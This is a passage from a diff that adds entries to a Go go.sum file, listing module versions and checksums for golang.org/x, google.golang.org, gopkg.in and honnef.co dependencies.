+golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200602225109-6fdc65e7d980/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20201015000850-e3ed0017c211 h1:9UQO31fZ+0aKQOFldThf7BKPMJTiBfWycGh/u3UoO88=
+golang.org/x/sys v0.0.0-20201015000850-e3ed0017c211/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
+golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
+golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
+golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
+golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
+golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20180828015842-6cd1fcedba52/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20181221001348-537d06c36207/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
+golang.org/x/tools v0.0.0-20190308174544-00c44ba9c14f/go.mod h1:25r3+/G6/xytQM8iWZKq3Hn0kr0rgFKPUNVEL/dr3z4=
+golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190327201419-c70d86f8b7cf/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190422233926-fe54fb35175b/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
+golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
+golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
+golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20190829051458-42f498d34c4d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191004055002-72853e10c5a3/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
+golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
+golang.org/x/tools v0.0.0-20200317043434-63da46f3035e/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=
+golang.org/x/tools v0.0.0-20200325010219-a49f79bcc224/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=
+golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=
+golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20200601175630-2caf76543d99/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20200606014950-c42cb6316fb6/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/tools v0.0.0-20200608174601-1b747fd94509 h1:MI14dOfl3OG6Zd32w3ugsrvcUO810fDZdWakTq39dH4=
+golang.org/x/tools v0.0.0-20200608174601-1b747fd94509/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
+golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+google.golang.org/api v0.3.1/go.mod h1:6wY9I6uQWHQ8EM57III9mq/AjF+i8G65rmVagqKMtkk=
+google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
+google.golang.org/api v0.5.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
+google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
+google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
+google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
+google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
+google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
+google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
+google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
+google.golang.org/api v0.26.0 h1:VJZ8h6E8ip82FRpQl848c5vAadxlTXrUh8RzQzSRm08=
+google.golang.org/api v0.26.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
+google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
+google.golang.org/appengine v1.2.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
+google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
+google.golang.org/appengine v1.6.6 h1:lMO5rYAqUxkmaj76jAkRUvt5JZgFymx/+Q5Mzfivuhc=
+google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
+google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
+google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190508193815-b515fa19cec8/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190530194941-fb225487d101/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s=
+google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
+google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
+google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
+google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=
+google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200317114155-1f3552e48f24/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200325114520-5b2d0af7952b/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
+google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
+google.golang.org/genproto v0.0.0-20200603110839-e855014d5736/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
+google.golang.org/genproto v0.0.0-20200608115520-7c474a2e3482 h1:i+Aiej6cta/Frzp13/swvwz5O00kYcSe0A/C5Wd7zX8=
+google.golang.org/genproto v0.0.0-20200608115520-7c474a2e3482/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
+google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs=
+google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
+google.golang.org/grpc v1.20.0/go.mod h1:chYK+tFQF0nDUGJgXMSgLCQk3phJEuONr2DCgLDdAQM=
+google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
+google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
+google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
+google.golang.org/grpc v1.22.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
+google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
+google.golang.org/grpc v1.23.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
+google.golang.org/grpc v1.24.0/go.mod h1:XDChyiUovWa60DnaeDeZmSW86xtLtjtZbwvSiRnRtcA=
+google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
+google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=
+google.golang.org/grpc v1.29.1 h1:EC2SB8S04d2r73uptxphDSUG+kTKVgjRPF+N3xpxRB4=
+google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
+google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
+google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
+google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
+google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
+google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
+google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.24.0 h1:UhZDfRO8JRQru4/+LlLE0BRKGF8L+PICnvYZmx/fEGA=
+google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
+gopkg.in/DataDog/dd-trace-go.v1 v1.7.0 h1:7wbMayb6JXcbAS95RN7MI42W3o1BCxCcdIzZfVWBAiE=
+gopkg.in/DataDog/dd-trace-go.v1 v1.7.0/go.mod h1:DVp8HmDh8PuTu2Z0fVVlBsyWaC++fzwVCaGWylTe3tg=
+gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=
+gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/cheggaaa/pb.v1 v1.0.25/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw=
+gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
+gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=
+gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
+gopkg.in/gcfg.v1 v1.2.3/go.mod h1:yesOnuUOFQAhST5vPY4nbZsb/huCgGGXlipJsBn0b3o=
+gopkg.in/go-playground/assert.v1 v1.2.1/go.mod h1:9RXL0bg/zibRAgZUYszZSwO/z8Y/a8bDuhia5mkpMnE=
+gopkg.in/go-playground/validator.v8 v8.18.2/go.mod h1:RX2a/7Ha8BgOhfk7j780h4/u/RRjR0eouCJSH80/M2Y=
+gopkg.in/gorp.v1 v1.7.2/go.mod h1:Wo3h+DBQZIxATwftsglhdD/62zRFPhGhTiu5jUJmCaw=
+gopkg.in/mgo.v2 v2.0.0-20180705113604-9856a29383ce/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA=
+gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
+gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
+gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
+gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI=
+gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
+gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.3.0 h1:clyUAQHOM3G0M3f5vQj7LuJrETvjVot3Z5el9nffUtU=
+gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
